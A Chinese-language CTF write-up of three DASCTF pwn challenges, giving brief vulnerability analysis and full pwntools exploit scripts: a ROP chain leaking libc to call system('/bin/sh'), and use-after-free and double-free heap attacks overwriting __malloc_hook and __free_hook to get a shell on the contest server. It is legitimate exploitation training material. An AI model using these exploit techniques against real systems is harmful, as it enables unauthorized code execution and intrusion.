安恒月赛2020四月DASCTF——PWN
Time: 2020-04-25 Tags: WritesupLink: 安恒月赛2020四月DASCTF——PWN
前言
昨晚跟那群大佬玩机器人狼人杀,搅屎搅了三局,睡得太晚了。导致今天精神萎靡。
这几天以来一道PWN题目都没做过,对堆题极度过敏。但凡见到菜单直接删文件,关虚拟机。
上午做了一上午被窝战神,下午睡到2点钟。醒来发现安恒月赛开打了。
今天突然来了精神,想自己调调试试,不知不觉中就把这次的pwn题ak了。但是这不是我厉害,而是题目简单。
但凡是做出来的题,都是出题人故意出简单的。但凡没做出来的题,都是我菜。
echo_server
analysis
○ file test
test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=eb00905eb1396dad1b1689a02c6377b29dfabc00, stripped
○ checksec test
[*] '/mnt/e/BaiduNetdiskDownload/DASCTF/2004225e9ff11d445a3/test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
经典栈溢出题,返回到main函数的时候有问题。就直接找了个call给填上了。
.text:00000000004007A5 call sub_4006D2
exp
from pwn import *
io = remote("183.129.189.60",10005)
#io = process("./test")
elf =ELF("./test")
libc = ELF('./libc.so.6')
context.log_level = 'debug'
rdi = 0x0000000000400823
rsi_r15 = 0x0000000000400821
format_str1 = 0x400875
main =0x4007A5
ret =0x000000000040055e
io.recvuntil('name: ')
io.sendline(str(0x100))
io.recvuntil('name? ')
payload = 'a'*0x80+'a'*0x8+p64(rdi) + p64(format_str1) + p64(rsi_r15) + p64(elf.got['read']) + p64(0x0) + p64(elf.plt['printf']) + p64(main)
io.send(payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info(hex(leak))
libc_base = leak - libc.sym['read']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').next()
io.recvuntil('name: ')
io.sendline(str(0x100))
io.recvuntil('name? ')
payload = 'a'*0x80+'a'*0x8+p64(ret) + p64(rdi)+p64(binsh) + p64(system)
io.send(payload)
io.interactive()
flag
efc5b74ddb1cfc7a80237e46ed288395
sale_office
analysis
○ file sales_office
sales_office: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=29f903654192dcdd9f1fa393c3712ddfec954dda, not stripped
○ checksec sales_office
[*] '/mnt/e/BaiduNetdiskDownload/DASCTF/2004225e9ff11dc91f1/sales_office/sales_office'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位的动态链接ELF文件没开PIE。libc2.27。
add函数:
if ( num > 12 )
puts("You have no money.");
v0 = num;
area[v0] = malloc(0x10uLL);
puts("Please input the size of your house:");
v3 = read_int();
if ( v3 > 0x60 )
return puts("You can't afford it.");
if ( v3 < 0 )
return puts("?");
*(area[num] + 2) = v3;
v2 = area[num];
*v2 = malloc(v3);
puts("please decorate your house:");
read(0, *area[num], v3);
puts("Done!");
return num++ + 1;
其中malloc后没有清除掉。
if ( v3 > 0x60 )
return puts("You can't afford it.");
if ( v3 < 0 )
return puts("?");
利用这个可以单独malloc出一个0x10大小的chunk来。
int sell()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("index:");
v1 = read_int();
if ( v1 < 0 || v1 > 12 )
exit(0);
if ( area[v1] )
{
free(*area[v1]);
free(area[v1]);
}
return puts("Done!");
}
UAF漏洞。
思路:
- 通过malloc(-1)等操作获得一个可写的0x10chunk,将got地址写入,得到libc。
- double free打malloc_hook。
- 此题与XCTF高校战疫的easyheap仅仅差一个edit函数。
exp
from pwn import *
#io = process("./sales_office")
io = remote("183.129.189.60",10008)
elf = ELF("./sales_office")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'
def add_fake():
io.sendlineafter("choice:",'1')
io.sendlineafter("house:\n",'-1')
def add(size,con):
io.sendlineafter("choice:",'1')
io.sendlineafter("house:\n",str(size))
io.sendafter("house:\n",con)
def free(idx):
io.sendlineafter("choice:",'4')
io.sendlineafter("index:\n",str(idx))
def show(idx):
io.sendlineafter("choice:",'3')
io.sendlineafter("index:\n",str(idx))
def dbg():
gdb.attach(io)
pause()
add(0x60,'a')#0
add(0x60,'a')#1
add(0x60,'a')#2
for i in range(3):
free(i)
add_fake()
add(0x10,p64(elf.got['free']))
show(0)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak - libc.sym['free']
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base + 0x10a38c
free(1)
free(2)
add(0x10,p64(malloc_hook))
add(0x10,p64(one))
io.sendlineafter("choice:",'1')
io.interactive()
flag
flag{fb1dc590ab91fe3a7422753161573991}
sale_office2
analysis
跟上一题一样,由于是libc2.29,tcache double free不好用了。
思路:
- 同上一问。
- 把tcachebin填满之后进fastbin,fastbin double free之后放进tcachebin。
- add到最后num不够了,改成打free_hook。
exp
from pwn import *
io = process("./sales_office")
#io = remote("das.wetolink.com",28499)
elf = ELF("./sales_office")
libc = ELF("./libc.so")
#context.log_level = 'debug'
def add_fake():
io.sendlineafter("choice:",'1')
io.sendlineafter("house:\n",'-1')
def add(size,con):
io.sendlineafter("choice:",'1')
io.sendlineafter("house:\n",str(size))
io.sendafter("house:\n",con)
def free(idx):
io.sendlineafter("choice:",'4')
io.sendlineafter("index:\n",str(idx))
def show(idx):
io.sendlineafter("choice:",'3')
io.sendlineafter("index:\n",str(idx))
def dbg():
gdb.attach(io)
pause()
add(0x60,'a')#0
add(0x60,'a')#1
add(0x60,'a')#2
for i in range(3):
free(i)
add_fake()
add(0x10,p64(elf.got['free']))
show(0)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak - libc.sym['free']
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.info(hex(free_hook))
one = libc_base + 0xe2383
add(0x10,'a')
add(0x10,'a')
add(0x10,'a')
add(0x10,'a')
add_fake()
free(4)
free(5)
free(6)
free(8) # 填7个chunk进tcachebin
free(1)
free(7)
free(2) # fastbin double free
add(0x10,'a')
add(0x10,'a')
add(0x10,'a')
add_fake()# 取出所有tcache
add(0x10,p64(free_hook))
add(0x10,'a')
add(0x10,p64(one))
io.sendlineafter("choice:",'4')
io.sendlineafter("index:\n",'0')
io.interactive()
flag
flag{THE_FLAG_OF_THIS_STRING}